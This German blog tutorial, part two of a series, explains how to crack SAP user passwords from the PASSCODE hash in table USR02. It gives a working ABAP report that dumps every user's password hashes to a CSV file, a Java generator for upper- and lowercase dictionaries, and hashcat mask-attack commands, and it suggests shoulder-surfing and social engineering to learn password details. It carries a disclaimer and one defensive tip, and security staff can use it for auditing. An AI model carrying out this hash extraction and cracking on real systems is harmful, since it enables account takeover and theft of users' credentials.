· 

Entschlüsseln von SAP Passwörtern (Teil 2: PASSCODE)

Disclaimer

Die hier beschriebene Angriffstechnik darf nur zum Schutz der eigenen IT-Infrastruktur und nur mit der ausdrücklichen Genehmigung der verantwortlichen Stelle bzw. der betroffenen Personen durchgeführt werden. Jegliches Ausspähen von User-Passwörtern ist strengstens untersagt! Ich übernehme keine Haftung für jedweden durch Missachtung dieser Vorgaben entstandenen Schaden! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!


Vorbereitungen

In Teil 1 haben Sie bereits erfahren, wie Sie die ersten 8 Stellen eines User-Passworts über das Feld 'BCODEin der Tabelle USR02 herausfinden können. In diesem Teil geht es nun um das Tabellenfeld 'PASSCODE', in dem ein SHA-1 basierter Hash des vollständigen (!) Passworts gespeichert wird. Im Vergleich zu 'BCODEerhält man durch das Knacken dieses Hashs das Passwort inklusive Groß- und Kleinschreibung, was vor allem dann interessant ist, wenn das Target ein Passwort mit mehr als 8 Stellen verwendet. Der Angriff ist theoretisch auch ohne das Wissen aus Teil 1 durchführbar. Allerdings erhöht der gewachsene Zeichensatz (Zahlen, Sonderzeichen Groß- und Kleinbuchstaben) die Decryption Time. Deshalb ist es sinnvoll, zunächst mit dem Hash aus BCODE die ersten 8 Stellen herauszufinden und mit den daraus gewonnenen Informationen eine Mask Attacke auf 'PASSCODEdurchzuführen.

Warum ist diese Vorgehensweise sinnvoll? Mit entsprechender Hardware beträgt die Worst-Case Decryption Time für den Hash in 'BCODE' weniger als einen Tag. Realitätsnahe Experimente im Arbeitsumfeld haben gezeigt, dass die durchschnittliche Zeit praktisch bei ca. 20 Minuten liegt. Dadurch gewinnt man für das Entschlüsseln des potentiell weitaus längeren (realen) Passworts viel Zeit. Während man (ausgehend von einem Standard-Zeichensatz von 96) für ein 10 stelliges Passwort

$$96^{10}$$

Möglichkeiten ausprobieren muss, sind es bei Kenntnis der ersten 8 Stellen in Großbuchstaben nur noch

$$\frac{2^{8}}{2^{m}}\cdot 96^2$$
\(m\) gibt dabei die Anzahl der Ziffern- und Sonderzeichen im Passwort an. Für \(m=4\) muss man mit einer Brute-Force-Attacke $$\frac{96^{10}}{\frac{2^8}{2^4}\cdot 96^2}=\frac{96^8}{2^4}\approx 4.5\cdot 10^{14}$$ mal weniger Kombinationen testen. Für ein \(n\)-stelliges Passwort ergeben sich somit insgesamt $$96^{n-8}\cdot \frac{2^8}{2^m}$$ mögliche Passwörter. Somit müssen $$\frac{96^{n}}{96^{n-8}\cdot \frac{2^8}{2^m}}$$ mal weniger Möglichkeiten durchprobiert werden, was die Worst-Case Decryption Time massiv reduziert.

Um den Angriff durchführen zu können, benötigen Sie erneut einen Abzug der Tabelle USR02, was über den folgenden Report möglich ist:

*&---------------------------------------------------------------------*
*& Report  USR02_DOWNLOAD
*&
*&---------------------------------------------------------------------*
*&
*&
*&---------------------------------------------------------------------*

REPORT USR02_DOWNLOAD.

TYPES: CHAR4096(4096) TYPE C.

" Tabelle.
DATA usr02_tab TYPE TABLE OF USR02.
DATA c_filename TYPE STRING.
DATA c_path TYPE STRING.
DATA c_fullpath TYPE STRING.
DATA c_result TYPE I.

DATA dwnld_path TYPE STRING.
DATA csv_tab TYPE TABLE OF CHAR4096.

" Dialog zum Abspeichern der CSV-Datei öffnen.
CALL METHOD cl_gui_frontend_services=>file_save_dialog
  EXPORTING
    window_title      = 'Auswahl des Download-Ordners.'
    default_extension = 'csv'
    default_file_name = 'usr02_hashes'
    initial_directory = ''
  CHANGING
    filename          = c_filename
    path              = c_path
    fullpath          = c_fullpath
    user_action       = c_result.
dwnld_path = c_fullpath.

SELECT * FROM USR02 INTO TABLE usr02_tab.
IF sy-subrc <> 0.
  WRITE 'Fehler beim Auslesen der internen Tabelle USR02'.
  EXIT.
ENDIF.

CALL FUNCTION 'SAP_CONVERT_TO_CSV_FORMAT'
  EXPORTING
    i_line_header        = 'X'
    i_field_seperator    = ';'
  TABLES
    i_tab_sap_data       = usr02_tab
  CHANGING
    i_tab_converted_data = csv_tab
  EXCEPTIONS
    conversion_failed    = 1
    OTHERS               = 2.

IF dwnld_path <> ''.

  CALL METHOD cl_gui_frontend_services=>gui_download
    EXPORTING
      filename              = dwnld_path
      filetype              = 'ASC'
      write_field_separator = 'X'
    CHANGING
      data_tab              = csv_tab.

  IF sy-subrc <> 0.
    WRITE: / 'Fehler, sy-subrc=', sy-subrc.
  ELSE.
    WRITE: / 'Der Download war erfolgreich!'.
  ENDIF.
ENDIF.

Außerdem wird an dieser Stelle wieder eine Empfehlung für das Passwort-Cracking-Tool Hashcat ausgesprochen.


Optimierung des Angriffs aus Teil 1

Der Angriff aus Teil 1 kann mit dem Wissen um 'PASSCODE' weiter optimiert werden. Dies führt am Ende dazu, dass der Report zum Zurücksetzen des Counters für Fehleingaben im Feld 'LOCNT' in USR02 überflüssig wird. Damit beschränkt sich seine Funktion (wenn überhaupt) nur noch auf die Manipulation des Zeitstempels.

Für ein \(8\)-stelliges Passwort müssen maximal \(2^8=256\) Wörter ausprobiert werden.

Wenn Sie sich mit dem folgenden Java-Tool ein Dictionary mit allen Lowercase-Uppercase-Kombinationen erzeugen lassen, können Sie dieses als Basis für eine Dictionary-Brute-Force-Attacke verwenden:

 

import java.util.HashSet;

import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;

public class UppercaseLowercaseCombiner {

        public static void main(final String... agrs) {
                //
                System.out.println(lower_upper_combs("PASSWORD"));
        }
        
        public static String bytes_to_hex_string(final byte[] to_convert) {
                final char[] hash_chars = "0123456789ABCDEF".toCharArray();
            char[] result_chars = new char[2*to_convert.length];
            for (int i = 0; i < to_convert.length; i++ ) {
                final int shift = to_convert[i] & 0xFF;
                result_chars[2*i] = hash_chars[shift >>> 4];
                result_chars[2*i+1] = hash_chars[shift & 0x0F];
            }
            return new String(result_chars);
        }
        
        public static List<String> lower_upper_combs(final String to_convert){
                System.out.println(to_binary(30,5));
                final Character[] word_container = new Character[to_convert.length()];
                final int length = word_container.length;
                final Set<String> duplicate_filter = new HashSet<>();
                final String lower_case_to_convert = to_convert.toLowerCase();
                for(int pos = 0; pos < length; pos++){
                        word_container[pos] = lower_case_to_convert.charAt(pos);
                }
                for(int counter = 0; counter < Math.pow(2, length); counter++){
                        final String mask = to_binary(counter, length);
                        final Character[] converted_word = new Character[length];
                        for(int pos = 0; pos < length; pos++){
                                if(mask.charAt(pos) == '1'){
                                        converted_word[pos] = Character.toUpperCase(word_container[pos]);
                                } else {
                                        converted_word[pos] = word_container[pos];
                                }
                        }
                        duplicate_filter.add(char_array_to_string(converted_word));
                }
                return duplicate_filter.stream().collect(Collectors.toList());
        }
        
        public static String to_binary(final int num, final int length){
                String result = Integer.toString(num, 2);
                if(result.length() > length){
                        return result;
                }
                for(int i = result.length(); i < length; i++){
                        result = "0" + result;
                }
                return result;
        }
        
        public static String char_array_to_string(final Character[] to_convert){
                String result = "";
                for(int pos = 0; pos < to_convert.length; pos++){
                        result = result + to_convert[pos];
                }
                return result;
        }
}

Für die Dictionary-Brute-Force-Attacke im Modus 'SAP CODVN F/G (PASSCODE)' setzt sich der Konsolenbefehl aus insgesamt vier Teilen zusammen:

  • hashcat64 (startet Hashcat; je nach gewünschtem Modul sind hier verschiedene Aufrufe möglich)
  • -m 7800 (signalisiert Hashcat, dass ein SAP PASSCODE Hash vorliegt; eine Liste mit allen unterstützten Hash-Algorithmen finden Sie hier)
  • hashes.txt (Name des Files, in dem sich der Hash samt Nutzernamen befindet; statt eines Files kann die im Textfile hinterlegte Information auch als Konsolenargument eingegeben werden)
  • -a 3 (Angriffsart = Brute-Force)
  • dictionary.dict (Name des Dictionary-Files. Dieses Argument macht aus der Brute-Force-Attacke eine Dictionary-Brute-Force-Attacke).

Hashcat verlangt den Hash in Kombination mit dem Nutzernamen in folgender Form:

 

<Nutzername>$<Hash>

 

Der vollständige Aufruf lautet also

hashcat64 -m 7800 hashes.txt -a 3 dictionary.dict

bzw. (falls der Hash direkt als Argument verwendet werden soll)

hashcat64 -m 7800 NUTZERNAME$HASH -a 3 dictionary.dict

Aufgrund der geringen (aber völlig ausreichenden) Größe des Dictionaries erhalten Sie das Ergebnis ohne merkbare Latenz.


Durchführung des Angriffs

Mit dem Wissen aus den beiden vorangegangenen Abschnitten lässt sich der Angriff in 3 Schritten zusammenfassen:

  1. Knacken Sie den in 'BCODE' gespeicherten Hashcode.
  2. Testen Sie nach der Generierung eines für den entschlüsselten Hash spezifischen Dictionaries, ob das Target ein 8-stelliges Passwort verwendet. Wenn der Aufruf des Konsolenbefehls nach wenigen Sekunden zur Meldung "EXHAUSTED" führt, hat das Target mindestens 9 Stellen zum Schutz seines Accounts verwendet. 
  3. Definieren Sie eine Guess-Mask und führen Sie eine Mask-Attacke auf den PASSCODE-Hash durch.

Hierzu kommt erneut das Dictionary zum Einsatz. Es werden alle im Dictionary gespeicherten Lowercase-Uppercase-Kombinationen als Präfix endlich vielen weiteren Zeichen vorangestellt. Durch Shoulder-Surfing (oder andere Social Engineering Attacken) lassen sich im Vorfeld weitere Informationen über das Passwort des Targets einholen (z. B. die Länge oder die letzten Zeichen). Der Konsolenbefehl lautet wie folgt:

hashcat64 -m 7800 hashes.txt -a 6 dictionary.dict custom-mask

bzw.

hashcat64 -m 7800 NUTZERNAME$HASH -a 6 dictionary.dict custom-mask

Weitere Informationen über die Zusammenstellung einer Guess-Mask entnehmen Sie bitte dem Hashcat-Wiki. Durch diesen Angriff lassen sich auch 14-stellige Passwörter in hinreichend kurzer Zeit (Worst-Case: wenige Stunden!) knacken.

 

Im nächsten (und letzten) Teil wird es um das Feld 'PWDSALTEDHASH' in USR02 gehen. 


Wie kann man sich schützen?

Neben den Tipps aus Teil 1 bleibt nur noch zu sagen: Wählen Sie lange Passwörter mit Sonderzeichen und Ziffern nach dem 8. Zeichen!